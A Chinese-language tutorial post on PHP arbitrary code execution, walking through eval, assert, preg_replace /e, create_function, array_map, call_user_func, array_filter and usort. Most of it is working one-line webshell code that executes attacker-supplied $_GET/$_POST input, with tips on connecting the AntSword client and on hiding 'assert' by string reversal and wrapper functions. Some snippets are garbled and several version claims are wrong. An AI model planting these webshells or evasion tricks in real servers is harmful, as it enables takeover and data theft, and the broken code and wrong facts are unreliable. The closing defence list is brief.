这个必须的白盒测试情况下,才搞的出来,当然有大老能猜到,不过几乎为0。
目录
(2)preg_replace ()+ /e 模式 php5.7版本以上被禁用。
(9)$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()
一.原理
由于web应用对于用户输入的数据进行过滤或者过滤不严格,导致攻击者可以直接接触的危险函数,像eval()、assert()函数,eval等函数可以将字符串当作代码来执行,从而让服务器沦陷。
例子:
这里有一个一句话木马
http://192.168.2.18/1.php?1=phpinfo()
二.相关的函数
eval ()
assert ()
preg_replace ()+ /e 模式
create_function ()
array_map ()
call_user_func () / call_user_func_array ()
array_filter ()
usort (), uasort ()
$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()
(1)assert ()在mysql7.0版本被禁了。
(1.1)普通的形式
http://192.168.2.18/1.php?1=system(ipconfig)
如何用蚁剑连接这个函数
由于蚁剑只能通过POST所以再在里面写一个一句话木马。
(1.2)通过.连接
http://192.168.2.18/1.php?1=phpinfo()
这样的话,拿eval也可以了?答案是不行,这也是为什么assert函数在7.0版本被禁止的原因,太变态了。
(1.3)通过substr
(1.4)反转函数strrev
http://192.168.2.18/1.php?1=phpinfo()
(1.5)用函数包裹
http://192.168.2.18/1.php?1=phpinfo()
function yy1($a,$b,$c)
{
yy2($a,$b);
}
function yy2($a,$y){
$a=strrev($a);
$a($_GET[1]);
}
yy1($a='tressa',$b='y',$c='w');
(2)preg_replace ()+ /e 模式 php5.7版本以上被禁用。
代码:
<?php
$str = 'sCdScds';
//如果使用/e修饰符,做替换的时候就会当做PHP代码执行
$preg = '/\w+/ie';
//定义替换字符串为php可执行代码例:phpinfo()
$aa = "phpinfo()";
//进行替换
echo preg_replace($preg, $aa, $str);
?>
替换过程中会将$aa当作代码执行。
用蚁剑连接
$str = 'sCdScds';
//如果使用/e修饰符,做替换的时候就会当做PHP代码执行
$preg = '/\w+/ie';
//定义替换字符串为php可执行代码例:phpinfo()
$aa = "$_POST[1]";
//进行替换
echo preg_replace($preg, $aa, $str);
有时需要不同编码。
(3)create_function ()
<?php
//函数内部执行代码
//查看php版本
$func = create_function('',phpinfo());
$func();
?>
''函数名,这个意思就是创建一个func名的函数,执行phpinfo()
连接
//函数内部执行代码
//查看php版本
$func = create_function('',$_POST[1]);
$func();
?>
(4)array_map ()
<?php
//传递函数名
$f = $_GET['f']; //assert
//传递php执行代码
$c = $_POST['c']; //phpinfo()
$a[0] = $c;
// array_map(functionName,arr1,arr2...)
//函数名(必填) 需要修改的数组(必须填)1个或多个
$arr = array_map($f,$a);
//var_dump ($arr);
?>
array_map('assert',$_POST);
随便什么密码都可以直接连接。
调用assert执行POST【1】.
array_map('assert',[$_POST[1]]);
(5)call_user_func ()
$f=$_GET[1];
$p=$_post[2];
call_user_func ($f,$p) ;
(6)call_user_func_array ()
<?php
// 函数 数组参数
// call_user_func_array(function, param_arr)
$a = $_GET['a']; //函数名
$b = $_POST['b']; //函数参数
$c[0] = $b; //数组方式存放参数
call_user_func_array($a, $c);
?>
$f=$_GET[1];
$p=$_POST[2];
call_user_func_array($f,[$p]) ;
(7)array_filter ()
<?php
// 数组 回调函数
//array_filter($arr,function);
$aa = $_GET['aa'];//输入函数名
$bb = $_POST['bb']; //函数参数
array_filter($bb,$aa); //assert $_POST['bb']
?>
参数与call_user_func_array ()相反。
(8)usort (), uasort ()
<?php
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
//版本需要5.4+ (注意数组至少要有2个元素)
要执行的代码不要放在第一个
usort($_GET, 'assert');
?>
<?php
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
//版本需要5.4+
//元素排序 数组 自定义排序函数
//usort(array, myfunction)
$a = $ POST['a'];
//这里注意第一个变量数组需要在
首位增加一个任意元素
$b[0]= 1;
$b[1] = $a;
var dump($b);
6c=$ GET['C'];
usort($b, "$c”);
?>
(9)$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()
<?php
$_GET['b'])($_GET['b']);
//一句话写法
$_GET['a']($_POST['a']);
?>
参数:url?a=assert&b=phpinfo ()
三.任意代码执行漏洞危害
1.反弹shell,攻击者可以直接接管服务器
2.执行恶意代码
3.访问敏感数据
4.对我们服务器造成破环
四.任意代码执行漏洞防护
1.使用可靠的库和函数
2.定期扫描审计
3.严格的访问控制
4.对有些特定命令做限制。